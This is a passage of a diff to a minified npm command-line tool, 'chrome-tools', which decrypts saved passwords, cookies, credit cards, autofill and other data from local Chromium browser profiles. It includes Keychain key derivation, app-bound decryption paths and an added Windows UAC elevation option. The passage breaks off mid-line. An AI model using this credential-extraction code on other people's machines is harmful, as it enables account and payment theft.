+ `))}function tr(r,e){if(!e||r.diagnostics)return;let t=$n(r.profilePath,r.browser);t&&console.error(m.yellow(`\u26A0 ${t}
88
+ `))}function U(r,e,t,n,i,o,s){if(Ve(r,e))return;if(e.length===0)return He(n,0);console.log(m.bold(`
89
89
  ${t}:
90
- `));let a=He(i,o);for(let u of e)a.push(s(u));console.log(a.toString()),je(n,e.length)}function er(r){return r instanceof Error?r.message:String(r)}var se=null;function Ve(r,e){return se?(se.push({browser:A().name,results:e}),!0):r.json?(pt(e),!0):!1}function Tu(r,e){let t=qt();if(t.length===0){if(e.json)return pt([]);console.log(D.yellow(`
90
+ `));let a=je(i,o);for(let u of e)a.push(s(u));console.log(a.toString()),He(n,e.length)}function er(r){return r instanceof Error?r.message:String(r)}var se=null;function Ve(r,e){return se?(se.push({browser:A().name,results:e}),!0):r.json?(pt(e),!0):!1}function Tu(r,e){let t=qt();if(t.length===0){if(e.json)return pt([]);console.log(m.yellow(`
91
91
  \u26A0 No supported Chromium browsers found on this machine.
92
- `));return}let n={...e,browser:void 0,profilePath:void 0},i=A();se=e.json?[]:null;try{for(let o of t){Ne(o.browser.id),e.json||console.log(D.bold.magenta(`
93
- \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 ${o.browser.name} \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550`));try{r(n)}catch(s){se?se.push({browser:o.browser.name,results:{error:er(s)}}):rt(s)?(console.log(D.red(` \u{1F511} No keychain access \u2014 skipped (${s.service}).`)),console.log(D.dim(` ${s.message.split(`
92
+ `));return}let n={...e,browser:void 0,profilePath:void 0},i=A();se=e.json?[]:null;try{for(let o of t){Ne(o.browser.id),e.json||console.log(m.bold.magenta(`
93
+ \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 ${o.browser.name} \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550`));try{r(n)}catch(s){se?se.push({browser:o.browser.name,results:{error:er(s)}}):rt(s)?(console.log(m.red(` \u{1F511} No keychain access \u2014 skipped (${s.service}).`)),console.log(m.dim(` ${s.message.split(`
94
94
  `).join(`
95
- `)}`))):console.log(D.red(` \u26A0 Skipped: ${er(s)}`))}}se&&pt(se)}finally{se=null,Ne(i.id)}}function I(r){let e=r.optsWithGlobals(),t=!!e.browser||!!e.allBrowsers||!!Si;return e.browser=e.browser||Si||void 0,e.profilePath||(e.profilePath=t?void 0:vu),e.profile||(e.profile=t?void 0:ku),e.diagnostics&&(e.onDiagnostic=({profile:n,store:i,code:o,message:s})=>{console.error(`[${o}] ${n?n+"/":""}${i} \u2014 ${s}`)}),e}function P(r,e){if(e.allBrowsers){Tu(r,e);return}Ne(e.browser),r(e)}function Ai(r){let e=qt({includeMissing:!0});if(r.json)return pt(e.map(i=>({id:i.browser.id,name:i.browser.name,installed:i.installed,profileCount:i.profileCount,path:i.chromeDir,safeStorageLabel:i.browser.safeStorageLabel})));let t=e.filter(i=>i.installed);console.log(D.bold(`
95
+ `)}`))):console.log(m.red(` \u26A0 Skipped: ${er(s)}`))}}se&&pt(se)}finally{se=null,Ne(i.id)}}function I(r){let e=r.optsWithGlobals(),t=!!e.browser||!!e.allBrowsers||!!Si;return e.browser=e.browser||Si||void 0,e.profilePath||(e.profilePath=t?void 0:vu),e.profile||(e.profile=t?void 0:ku),e.diagnostics&&(e.onDiagnostic=({profile:n,store:i,code:o,message:s})=>{console.error(`[${o}] ${n?n+"/":""}${i} \u2014 ${s}`)}),e.elevate&&process.env.CHROME_TOOLS_ELEVATE===void 0&&(process.env.CHROME_TOOLS_ELEVATE="1"),e}function P(r,e){if(e.allBrowsers){Tu(r,e);return}Ne(e.browser),r(e)}function Ai(r){let e=qt({includeMissing:!0});if(r.json)return pt(e.map(i=>({id:i.browser.id,name:i.browser.name,installed:i.installed,profileCount:i.profileCount,path:i.chromeDir,safeStorageLabel:i.browser.safeStorageLabel})));let t=e.filter(i=>i.installed);console.log(m.bold(`
96
96
  \u{1F310} Supported browsers (${t.length} installed):
97
- `));let n=He(["Browser","Id","Installed","Profiles","Path"],[20,14,11,9,50]);for(let i of e)n.push([D.white(i.browser.name),D.cyan(i.browser.id),i.installed?D.green("\u2713"):D.dim("\u2717"),i.installed?D.yellow(String(i.profileCount)):D.dim("\u2014"),D.dim(i.chromeDir)]);console.log(n.toString())}function M(r){return r.option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium\u2026)").option("--all-browsers","Read from every installed Chromium browser").option("--diagnostics","Report profile read failures on stderr").option("--json","Output as JSON")}function le(r){return r.option("--search <term>","Filter results (case-insensitive)")}function Fe(r,e=100){return r.option("--limit <n>","Limit number of results",Oi,e)}function Oi(r){let e=Number(r);if(!Number.isSafeInteger(e)||e<0)throw new Z("Limit must be a non-negative integer.");return e}var $=new fe;$.name("chrome-tools").description(D.bold.cyan("Chrome Data Toolkit")+D.dim(" \u2014 Extract passwords, bookmarks, history, cookies, and more from Chrome on macOS, Windows, and Linux")).version(ir.version).option("--passwords","Shortcut: list saved passwords").option("--bookmarks","Shortcut: list bookmarks").option("--local-storage","Shortcut: list localStorage entries").option("--profiles","Shortcut: list profiles").option("--browsers","Shortcut: list supported / installed browsers").option("--size","Show each profile's size on disk when listing profiles (slower)");M($).option("--search <term>","Filter results (for shortcut flags)").option("--limit <n>","Limit results (for shortcut flags)",Oi).action((r,e)=>{let t=I(e);t.browsers?Ai(t):t.passwords?P(Ri,t):t.bookmarks?P(Ti,t):t.localStorage?P(Li,t):P(ki,t)});var vi=$.command("profiles").description("List Chrome profiles");M(vi).option("--size","Compute and show each profile's size on disk (slower)").action((r,e)=>{P(ki,I(e))});var Lu=vi.command("states").description("Show detailed profile states with available data files");M(Lu).action((r,e)=>P($u,I(e)));var Pu=$.command("browsers").description("List supported browsers and detect which are installed");Pu.option("--json","Output as JSON").action((r,e)=>Ai(I(e)));function ki(r){let e=ae(r.profilePath,{reportAccessDenied:!0}),t=zt(r.profilePath),n=!!r.size;if(r.json){let u=new Map(t.map(l=>[l.directory,l])),c=e.map(l=>({...l,...u.get(l.name),...n?{sizeBytes:st(l.path)}:{}}));Ve(r,c);return}if(e.length===0){console.log(D.yellow(`
97
+ `));let n=je(["Browser","Id","Installed","Profiles","Path"],[20,14,11,9,50]);for(let i of e)n.push([m.white(i.browser.name),m.cyan(i.browser.id),i.installed?m.green("\u2713"):m.dim("\u2717"),i.installed?m.yellow(String(i.profileCount)):m.dim("\u2014"),m.dim(i.chromeDir)]);console.log(n.toString())}function M(r){return r.option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium\u2026)").option("--all-browsers","Read from every installed Chromium browser").option("--diagnostics","Report profile read failures on stderr").option("--elevate","Prompt for Windows UAC elevation if App-Bound staging needs admin").option("--json","Output as JSON")}function le(r){return r.option("--search <term>","Filter results (case-insensitive)")}function Fe(r,e=100){return r.option("--limit <n>","Limit number of results",Oi,e)}function Oi(r){let e=Number(r);if(!Number.isSafeInteger(e)||e<0)throw new Z("Limit must be a non-negative integer.");return e}var $=new fe;$.name("chrome-tools").description(m.bold.cyan("Chrome Data Toolkit")+m.dim(" \u2014 Extract passwords, bookmarks, history, cookies, and more from Chrome on macOS, Windows, and Linux")).version(ir.version).option("--passwords","Shortcut: list saved passwords").option("--bookmarks","Shortcut: list bookmarks").option("--local-storage","Shortcut: list localStorage entries").option("--profiles","Shortcut: list profiles").option("--browsers","Shortcut: list supported / installed browsers").option("--size","Show each profile's size on disk when listing profiles (slower)");M($).option("--search <term>","Filter results (for shortcut flags)").option("--limit <n>","Limit results (for shortcut flags)",Oi).action((r,e)=>{let t=I(e);t.browsers?Ai(t):t.passwords?P(Ri,t):t.bookmarks?P(Ti,t):t.localStorage?P(Li,t):P(ki,t)});var vi=$.command("profiles").description("List Chrome profiles");M(vi).option("--size","Compute and show each profile's size on disk (slower)").action((r,e)=>{P(ki,I(e))});var Lu=vi.command("states").description("Show detailed profile states with available data files");M(Lu).action((r,e)=>P($u,I(e)));var Pu=$.command("browsers").description("List supported browsers and detect which are installed");Pu.option("--json","Output as JSON").action((r,e)=>Ai(I(e)));function ki(r){let e=ae(r.profilePath,{reportAccessDenied:!0}),t=zt(r.profilePath),n=!!r.size;if(r.json){let u=new Map(t.map(l=>[l.directory,l])),c=e.map(l=>({...l,...u.get(l.name),...n?{sizeBytes:st(l.path)}:{}}));Ve(r,c);return}if(e.length===0){console.log(m.yellow(`
98
98
  \u26A0 No Chrome profiles found.
99
- `));return}let i=new Map(t.map(u=>[u.directory,u]));console.log(D.bold(`
99
+ `));return}let i=new Map(t.map(u=>[u.directory,u]));console.log(m.bold(`
100
100
  \u{1F4C1} Discovered ${e.length} profile(s):
101
- `));let a=He(n?["Directory","Display Name","Email","Size","Path"]:["Directory","Display Name","Email","Path"],n?[16,22,30,10,42]:[16,22,30,50]);for(let u of e){let c=i.get(u.name),l=[D.cyan(u.name),D.white(c?.name||u.name),D.dim(c?.email||"\u2014")];n&&l.push(D.yellow(Pi(st(u.path)))),l.push(D.dim(u.path)),a.push(l)}console.log(a.toString()),je("profile(s)",e.length)}function $u(r){let e=Wn(r.profilePath);if(r.json){Ve(r,e);return}if(e.length===0){console.log(D.yellow(`
101
+ `));let a=je(n?["Directory","Display Name","Email","Size","Path"]:["Directory","Display Name","Email","Path"],n?[16,22,30,10,42]:[16,22,30,50]);for(let u of e){let c=i.get(u.name),l=[m.cyan(u.name),m.white(c?.name||u.name),m.dim(c?.email||"\u2014")];n&&l.push(m.yellow(Pi(st(u.path)))),l.push(m.dim(u.path)),a.push(l)}console.log(a.toString()),He("profile(s)",e.length)}function $u(r){let e=Wn(r.profilePath);if(r.json){Ve(r,e);return}if(e.length===0){console.log(m.yellow(`
102
102
  \u26A0 No Chrome profiles found.
103
- `));return}console.log(D.bold(`
103
+ `));return}console.log(m.bold(`
104
104
  \u{1F4CA} Profile States (${e.length} profile(s)):
105
- `));for(let t of e){console.log(D.bold.cyan(` ${t.displayName}`)+D.dim(` (${t.directory})`)),t.email&&console.log(D.dim(` Email: ${t.email}`)),console.log(D.dim(` Path: ${t.path}`));let n=t.dataFiles,i=Object.entries(n).filter(([,s])=>s).map(([s])=>s),o=Object.entries(n).filter(([,s])=>!s).map(([s])=>s);console.log(` Available: ${i.map(s=>D.green(s)).join(", ")||D.dim("none")}`),o.length>0&&console.log(` Missing: ${o.map(s=>D.dim(s)).join(", ")}`),console.log()}}var Iu=$.command("passwords").description("List saved passwords");le(M(Iu)).option("--diagnose","Report the stores that would be read \u2014 profile, file, row count, and any read error \u2014 instead of the passwords themselves").action((r,e)=>P(Ri,I(e)));function Ri(r){if(r.diagnose)return Nu(r);let e=qn(r);if(Ve(r,e))return;if(e.length===0)return je("passwords",0);console.log(D.bold(`
105
+ `));for(let t of e){console.log(m.bold.cyan(` ${t.displayName}`)+m.dim(` (${t.directory})`)),t.email&&console.log(m.dim(` Email: ${t.email}`)),console.log(m.dim(` Path: ${t.path}`));let n=t.dataFiles,i=Object.entries(n).filter(([,s])=>s).map(([s])=>s),o=Object.entries(n).filter(([,s])=>!s).map(([s])=>s);console.log(` Available: ${i.map(s=>m.green(s)).join(", ")||m.dim("none")}`),o.length>0&&console.log(` Missing: ${o.map(s=>m.dim(s)).join(", ")}`),console.log()}}var Iu=$.command("passwords").description("List saved passwords");le(M(Iu)).option("--diagnose","Report the stores that would be read \u2014 profile, file, row count, and any read error \u2014 instead of the passwords themselves").action((r,e)=>P(Ri,I(e)));function Ri(r){if(r.diagnose)return Nu(r);let e=qn(r);if(Ve(r,e))return;if(e.length===0)return He("passwords",0);console.log(m.bold(`
106
106
  \u{1F511} Saved Passwords:
107
- `));let t=new Set(e.map(s=>s.profile)).size>1,n=["Source","URL","Username","Password","Last Used"],i=[9,42,24,22,20];t&&(n.unshift("Profile"),i.unshift(12));let o=He(n,i);for(let s of e){let a=[D.blue(s.source??"?"),D.cyan(s.url),D.green(s.username||"<empty>"),D.yellow(s.password||"<empty>"),D.dim(s.lastUsed)];t&&a.unshift(D.magenta(s.profile)),o.push(a)}console.log(o.toString()),je("password(s)",e.length),tr(r,e.some(s=>s.password==="<app-bound encryption unavailable>"))}function Nu(r){let e=Kn(r);if(Ve(r,e))return;if(e.length===0){console.log(D.yellow(`
107
+ `));let t=new Set(e.map(s=>s.profile)).size>1,n=["Source","URL","Username","Password","Last Used"],i=[9,42,24,22,20];t&&(n.unshift("Profile"),i.unshift(12));let o=je(n,i);for(let s of e){let a=[m.blue(s.source??"?"),m.cyan(s.url),m.green(s.username||"<empty>"),m.yellow(s.password||"<empty>"),m.dim(s.lastUsed)];t&&a.unshift(m.magenta(s.profile)),o.push(a)}console.log(o.toString()),He("password(s)",e.length),tr(r,e.some(s=>s.password==="<app-bound encryption unavailable>"))}function Nu(r){let e=Kn(r);if(Ve(r,e))return;if(e.length===0){console.log(m.yellow(`
108
108
  \u26A0 No profiles found to read.
109
- `));return}console.log(D.bold(`
109
+ `));return}console.log(m.bold(`
110
110
  \u{1F50E} Password stores:
111
- `));let t=He(["Root","Profile","Store","Exists","Rows","Error"],[34,12,24,7,6,40]);for(let n of e)t.push([D.dim(n.root),n.profile,D.blue(n.file),n.exists?"yes":D.yellow("no"),n.rows===null?D.red("?"):String(n.rows),n.error?D.red(n.error):""]);console.log(t.toString()),console.log()}var Mu=$.command("bookmarks").description("List bookmarks");le(M(Mu)).option("--folder <name>","Filter by folder name").action((r,e)=>P(Ti,I(e)));function Ti(r){U(r,Yn(r),"\u{1F4DA} Bookmarks","bookmark(s)",["Title","URL","Folder","Date Added"],[30,50,25,20],e=>[D.white(e.title),D.cyan(e.url),D.dim(e.folder||"/"),D.dim(e.dateAdded)])}var Wu=$.command("history").description("List browsing history");le(Fe(M(Wu))).action((r,e)=>P(t=>{U(t,Xn(t),"\u{1F550} Browsing History","history entry(ies)",["URL","Title","Visits","Last Visit"],[50,30,8,22],n=>[D.cyan(n.url),D.white(n.title||"\u2014"),D.yellow(String(n.visitCount)),D.dim(n.lastVisit)])},I(e)));var ju=$.command("search-terms").description("List search terms from history");Fe(M(ju)).action((r,e)=>P(t=>{U(t,Qn(t),"\u{1F50D} Search Terms","search term(s)",["Term","URL"],[40,80],n=>[D.white(n.term),D.dim(n.url)])},I(e)));var Hu=$.command("cookies").description("List cookies (encrypted values decrypted)");Fe(M(Hu)).option("--domain <domain>","Filter by domain").option("--url <url>","Filter by URL with path").option("--no-decrypt","Skip decryption of encrypted values").action((r,e)=>P(t=>{let n=Zn(t);U(t,n,"\u{1F36A} Cookies","cookie(s)",["Domain","Name","Value","Secure","Expires"],[30,25,30,8,22],i=>[D.cyan(i.domain),D.white(i.name),D.dim(ht(i.value,50)),i.secure?D.green("\u2713"):D.dim("\u2717"),D.dim(i.expires)]),t.json||tr(t,n.some(i=>i.value==="<app-bound encryption unavailable>"))},I(e)));var Vu=$.command("local-storage").description("List localStorage entries");le(Fe(M(Vu))).option("--origin <origin>","Filter by origin").option("--url <url>","Filter by URL origin").option("--key <key>","Filter by localStorage key").action((r,e)=>P(Li,I(e)));function Li(r){U(r,pi(r),"\u{1F4BE} localStorage","localStorage entries",["Origin","Key","Value"],[36,28,46],e=>[D.cyan(e.origin),D.white(e.key),D.dim(ht(e.value,80))])}var Gu=$.command("autofill").description("List autofill entries");le(Fe(M(Gu))).action((r,e)=>P(t=>{U(t,Ci(t),"\u{1F4DD} Autofill Entries","autofill entry(ies)",["Field Name","Value","Count","Last Used"],[25,40,8,22],n=>[D.cyan(n.name),D.white(n.value),D.yellow(String(n.count)),D.dim(n.dateLastUsed)])},I(e)));var Uu=$.command("credit-cards").description("List saved credit cards");M(Uu).action((r,e)=>P(t=>{let n=Ei(t);U(t,n,"\u{1F4B3} Saved Credit Cards","credit card(s)",["Name on Card","Card Number","Expires","Nickname"],[25,25,14,20],i=>[D.white(i.nameOnCard||"\u2014"),D.yellow(i.cardNumber||"\u2014"),D.dim(`${i.expirationMonth}/${i.expirationYear}`),D.dim(i.nickname||"\u2014")]),t.json||tr(t,n.some(i=>i.cardNumber==="<app-bound encryption unavailable>"))},I(e)));var Ku=$.command("addresses").description("List saved addresses");M(Ku).action((r,e)=>P(t=>{U(t,bi(t),"\u{1F3E0} Saved Addresses","address(es)",["Name","Email","Phone","Address","City/State/Zip"],[20,25,16,30,25],n=>[D.white(n.fullName||"\u2014"),D.cyan(n.email||"\u2014"),D.dim(n.phone||"\u2014"),D.white(n.streetAddress||"\u2014"),D.dim([n.city,n.state,n.zipcode].filter(Boolean).join(", ")||"\u2014")])},I(e)));var qu=$.command("downloads").description("List download history");le(Fe(M(qu))).action((r,e)=>P(t=>{U(t,wi(t),"\u2B07\uFE0F Download History","download(s)",["File","URL","Size","State","Date"],[35,40,12,12,20],n=>[D.white(n.targetPath?n.targetPath.split(/[\\/]/).pop()||"":"\u2014"),D.cyan(ht(n.url,60)),D.dim(n.totalBytes>0?Pi(n.totalBytes):"\u2014"),n.state==="complete"?D.green(n.state):D.yellow(n.state),D.dim(n.startTime)])},I(e)));var zu=$.command("extensions").description("List installed extensions");le(M(zu)).action((r,e)=>P(t=>{U(t,_i(t),"\u{1F9E9} Installed Extensions","extension(s)",["Name","Version","ID","Enabled","Webstore"],[30,12,36,9,9],n=>[D.white(n.name),D.dim(n.version),D.dim(n.id),n.enabled?D.green("\u2713"):D.red("\u2717"),n.fromWebstore?D.green("\u2713"):D.dim("\u2717")])},I(e)));var Yu=$.command("search-engines").description("List configured search engines");M(Yu).action((r,e)=>P(t=>{U(t,Fi(t),"\u{1F50E} Search Engines","search engine(s)",["Name","Keyword","URL","Active"],[20,16,60,8],n=>[D.white(n.name),D.cyan(n.keyword),D.dim(ht(n.url,80)),n.isActive?D.green("\u2713"):D.dim("\u2717")])},I(e)));var Ju=$.command("top-sites").description("List top sites");M(Ju).action((r,e)=>P(t=>{U(t,Bi(t),"\u2B50 Top Sites","top site(s)",["Rank","Title","URL"],[8,30,80],n=>[D.yellow(String(n.rank+1)),D.white(n.title||"\u2014"),D.cyan(n.url)])},I(e)));function Pi(r){if(r===0)return"0 B";let e=["B","KB","MB","GB","TB"],t=Math.floor(Math.log(r)/Math.log(1024));return`${(r/Math.pow(1024,t)).toFixed(1)} ${e[t]}`}function ht(r,e){return r?r.length>e?r.slice(0,e)+"\u2026":r:"\u2014"}try{$.parse()}catch(r){Ru(r)||console.error(D.red(`
111
+ `));let t=je(["Root","Profile","Store","Exists","Rows","Error"],[34,12,24,7,6,40]);for(let n of e)t.push([m.dim(n.root),n.profile,m.blue(n.file),n.exists?"yes":m.yellow("no"),n.rows===null?m.red("?"):String(n.rows),n.error?m.red(n.error):""]);console.log(t.toString()),console.log()}var Mu=$.command("bookmarks").description("List bookmarks");le(M(Mu)).option("--folder <name>","Filter by folder name").action((r,e)=>P(Ti,I(e)));function Ti(r){U(r,Yn(r),"\u{1F4DA} Bookmarks","bookmark(s)",["Title","URL","Folder","Date Added"],[30,50,25,20],e=>[m.white(e.title),m.cyan(e.url),m.dim(e.folder||"/"),m.dim(e.dateAdded)])}var Wu=$.command("history").description("List browsing history");le(Fe(M(Wu))).action((r,e)=>P(t=>{U(t,Xn(t),"\u{1F550} Browsing History","history entry(ies)",["URL","Title","Visits","Last Visit"],[50,30,8,22],n=>[m.cyan(n.url),m.white(n.title||"\u2014"),m.yellow(String(n.visitCount)),m.dim(n.lastVisit)])},I(e)));var Hu=$.command("search-terms").description("List search terms from history");Fe(M(Hu)).action((r,e)=>P(t=>{U(t,Qn(t),"\u{1F50D} Search Terms","search term(s)",["Term","URL"],[40,80],n=>[m.white(n.term),m.dim(n.url)])},I(e)));var ju=$.command("cookies").description("List cookies (encrypted values decrypted)");Fe(M(ju)).option("--domain <domain>","Filter by domain").option("--url <url>","Filter by URL with path").option("--no-decrypt","Skip decryption of encrypted values").action((r,e)=>P(t=>{let n=Zn(t);U(t,n,"\u{1F36A} Cookies","cookie(s)",["Domain","Name","Value","Secure","Expires"],[30,25,30,8,22],i=>[m.cyan(i.domain),m.white(i.name),m.dim(ht(i.value,50)),i.secure?m.green("\u2713"):m.dim("\u2717"),m.dim(i.expires)]),t.json||tr(t,n.some(i=>i.value==="<app-bound encryption unavailable>"))},I(e)));var Vu=$.command("local-storage").description("List localStorage entries");le(Fe(M(Vu))).option("--origin <origin>","Filter by origin").option("--url <url>","Filter by URL origin").option("--key <key>","Filter by localStorage key").action((r,e)=>P(Li,I(e)));function Li(r){U(r,pi(r),"\u{1F4BE} localStorage","localStorage entries",["Origin","Key","Value"],[36,28,46],e=>[m.cyan(e.origin),m.white(e.key),m.dim(ht(e.value,80))])}var Gu=$.command("autofill").description("List autofill entries");le(Fe(M(Gu))).action((r,e)=>P(t=>{U(t,Ci(t),"\u{1F4DD} Autofill Entries","autofill entry(ies)",["Field Name","Value","Count","Last Used"],[25,40,8,22],n=>[m.cyan(n.name),m.white(n.value),m.yellow(String(n.count)),m.dim(n.dateLastUsed)])},I(e)));var Uu=$.command("credit-cards").description("List saved credit cards");M(Uu).action((r,e)=>P(t=>{let n=Ei(t);U(t,n,"\u{1F4B3} Saved Credit Cards","credit card(s)",["Name on Card","Card Number","Expires","Nickname"],[25,25,14,20],i=>[m.white(i.nameOnCard||"\u2014"),m.yellow(i.cardNumber||"\u2014"),m.dim(`${i.expirationMonth}/${i.expirationYear}`),m.dim(i.nickname||"\u2014")]),t.json||tr(t,n.some(i=>i.cardNumber==="<app-bound encryption unavailable>"))},I(e)));var Ku=$.command("addresses").description("List saved addresses");M(Ku).action((r,e)=>P(t=>{U(t,bi(t),"\u{1F3E0} Saved Addresses","address(es)",["Name","Email","Phone","Address","City/State/Zip"],[20,25,16,30,25],n=>[m.white(n.fullName||"\u2014"),m.cyan(n.email||"\u2014"),m.dim(n.phone||"\u2014"),m.white(n.streetAddress||"\u2014"),m.dim([n.city,n.state,n.zipcode].filter(Boolean).join(", ")||"\u2014")])},I(e)));var qu=$.command("downloads").description("List download history");le(Fe(M(qu))).action((r,e)=>P(t=>{U(t,wi(t),"\u2B07\uFE0F Download History","download(s)",["File","URL","Size","State","Date"],[35,40,12,12,20],n=>[m.white(n.targetPath?n.targetPath.split(/[\\/]/).pop()||"":"\u2014"),m.cyan(ht(n.url,60)),m.dim(n.totalBytes>0?Pi(n.totalBytes):"\u2014"),n.state==="complete"?m.green(n.state):m.yellow(n.state),m.dim(n.startTime)])},I(e)));var zu=$.command("extensions").description("List installed extensions");le(M(zu)).action((r,e)=>P(t=>{U(t,_i(t),"\u{1F9E9} Installed Extensions","extension(s)",["Name","Version","ID","Enabled","Webstore"],[30,12,36,9,9],n=>[m.white(n.name),m.dim(n.version),m.dim(n.id),n.enabled?m.green("\u2713"):m.red("\u2717"),n.fromWebstore?m.green("\u2713"):m.dim("\u2717")])},I(e)));var Yu=$.command("search-engines").description("List configured search engines");M(Yu).action((r,e)=>P(t=>{U(t,Fi(t),"\u{1F50E} Search Engines","search engine(s)",["Name","Keyword","URL","Active"],[20,16,60,8],n=>[m.white(n.name),m.cyan(n.keyword),m.dim(ht(n.url,80)),n.isActive?m.green("\u2713"):m.dim("\u2717")])},I(e)));var Ju=$.command("top-sites").description("List top sites");M(Ju).action((r,e)=>P(t=>{U(t,Bi(t),"\u2B50 Top Sites","top site(s)",["Rank","Title","URL"],[8,30,80],n=>[m.yellow(String(n.rank+1)),m.white(n.title||"\u2014"),m.cyan(n.url)])},I(e)));function Pi(r){if(r===0)return"0 B";let e=["B","KB","MB","GB","TB"],t=Math.floor(Math.log(r)/Math.log(1024));return`${(r/Math.pow(1024,t)).toFixed(1)} ${e[t]}`}function ht(r,e){return r?r.length>e?r.slice(0,e)+"\u2026":r:"\u2014"}try{$.parse()}catch(r){Ru(r)||console.error(m.red(`
112
112
  \u2716 ${er(r)}
113
113
  `)),process.env.DEBUG&&console.error(r),process.exit(1)}
package/dist/index.js CHANGED
@@ -1,4 +1,4 @@
1
- import{existsSync as k,readdirSync as at,readFileSync as ct,statSync as pn}from"node:fs";import{basename as ft,join as L}from"node:path";import{createDecipheriv as pe}from"node:crypto";var vr=Buffer.alloc(16," "),M=12,K=16;function re(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e),o=r.subarray(0,3).toString("utf-8");if(o!=="v10"&&o!=="v11")return"<unsupported encryption format>";let n=r.subarray(3);try{let i=pe("aes-128-cbc",t,vr),s=i.update(n);return s=Buffer.concat([s,i.final()]),s}catch{return"<decryption failed>"}}function $e(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e),o=r.subarray(0,3).toString("utf-8");if(o!=="v10"&&o!=="v11")return"<unsupported encryption format>";if(r.length<3+M+K)return"<decryption failed>";let n=r.subarray(3,3+M),i=r.subarray(r.length-K),s=r.subarray(3+M,r.length-K);try{let c=pe("aes-256-gcm",t,n);return c.setAuthTag(i),Buffer.concat([c.update(s),c.final()])}catch{return"<decryption failed>"}}function te(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e);if(r.subarray(0,3).toString("utf-8")!=="v20")return"<unsupported encryption format>";if(r.length<3+M+K)return"<decryption failed>";let n=r.subarray(3,3+M),i=r.subarray(r.length-K),s=r.subarray(3+M,r.length-K);try{let c=pe("aes-256-gcm",t,n);return c.setAuthTag(i),Buffer.concat([c.update(s),c.final()])}catch{return"<decryption failed>"}}function B(e){if(e==null)return"N/A";try{let t=BigInt(e);if(t===0n)return"N/A";let r=t-11644473600000000n,o=Number(r/1000n),n=new Date(o);return isNaN(n.getTime())?"N/A":n.toLocaleString()}catch{return"N/A"}}var h=class extends Error{constructor(r,o,n){super(o,n);this.code=r}code};function S(e,t,r,o){if(!e)return;let n=o instanceof h?o.code:o?.code==="ENOENT"?"missing_store":"unreadable";e({profile:t,store:r,code:n,message:o instanceof Error?o.message:String(o)})}import{homedir as Tr}from"node:os";import{join as Ir}from"node:path";import{execFileSync as xr}from"node:child_process";import{pbkdf2Sync as br}from"node:crypto";var Pr=1003,Dr=16,Cr=Buffer.from("saltysalt"),ye="Chrome Safe Storage",de={ITEM_NOT_FOUND:44,INTERACTION_NOT_ALLOWED:36,AUTH_FAILED:45,USER_CANCELED:128},X=class extends Error{service;kind;constructor(t,r,o){super(t),this.name="KeychainAccessError",this.service=r,this.kind=o}get isAccessDenied(){return this.kind==="access-denied"}};var me=new Map,ge=new Map;function Rr(){return!!(process.env.SSH_CONNECTION||process.env.SSH_TTY)||!process.env.TERM_PROGRAM}function kr(e){let t=e;return{status:typeof t?.status=="number"?t.status:null,stderr:(t?.stderr??"").toString().trim()}}function Or(e,t,r){let o="See docs/remote-keychain-access.md for non-interactive / SSH setup.",n,i;t===de.ITEM_NOT_FOUND||/could not be found/i.test(r)?(n="not-found",i=`No '${e}' item found in the Keychain.
1
+ import{existsSync as k,readdirSync as at,readFileSync as ct,statSync as pn}from"node:fs";import{basename as ft,join as L}from"node:path";import{createDecipheriv as pe}from"node:crypto";var vr=Buffer.alloc(16," "),U=12,K=16;function re(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e),o=r.subarray(0,3).toString("utf-8");if(o!=="v10"&&o!=="v11")return"<unsupported encryption format>";let n=r.subarray(3);try{let i=pe("aes-128-cbc",t,vr),s=i.update(n);return s=Buffer.concat([s,i.final()]),s}catch{return"<decryption failed>"}}function $e(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e),o=r.subarray(0,3).toString("utf-8");if(o!=="v10"&&o!=="v11")return"<unsupported encryption format>";if(r.length<3+U+K)return"<decryption failed>";let n=r.subarray(3,3+U),i=r.subarray(r.length-K),s=r.subarray(3+U,r.length-K);try{let c=pe("aes-256-gcm",t,n);return c.setAuthTag(i),Buffer.concat([c.update(s),c.final()])}catch{return"<decryption failed>"}}function te(e,t){if(!e||e.length===0)return Buffer.alloc(0);let r=Buffer.isBuffer(e)?e:Buffer.from(e);if(r.subarray(0,3).toString("utf-8")!=="v20")return"<unsupported encryption format>";if(r.length<3+U+K)return"<decryption failed>";let n=r.subarray(3,3+U),i=r.subarray(r.length-K),s=r.subarray(3+U,r.length-K);try{let c=pe("aes-256-gcm",t,n);return c.setAuthTag(i),Buffer.concat([c.update(s),c.final()])}catch{return"<decryption failed>"}}function B(e){if(e==null)return"N/A";try{let t=BigInt(e);if(t===0n)return"N/A";let r=t-11644473600000000n,o=Number(r/1000n),n=new Date(o);return isNaN(n.getTime())?"N/A":n.toLocaleString()}catch{return"N/A"}}var h=class extends Error{constructor(r,o,n){super(o,n);this.code=r}code};function S(e,t,r,o){if(!e)return;let n=o instanceof h?o.code:o?.code==="ENOENT"?"missing_store":"unreadable";e({profile:t,store:r,code:n,message:o instanceof Error?o.message:String(o)})}import{homedir as Tr}from"node:os";import{join as Ir}from"node:path";import{execFileSync as xr}from"node:child_process";import{pbkdf2Sync as br}from"node:crypto";var Pr=1003,Dr=16,Cr=Buffer.from("saltysalt"),ye="Chrome Safe Storage",de={ITEM_NOT_FOUND:44,INTERACTION_NOT_ALLOWED:36,AUTH_FAILED:45,USER_CANCELED:128},X=class extends Error{service;kind;constructor(t,r,o){super(t),this.name="KeychainAccessError",this.service=r,this.kind=o}get isAccessDenied(){return this.kind==="access-denied"}};var me=new Map,ge=new Map;function 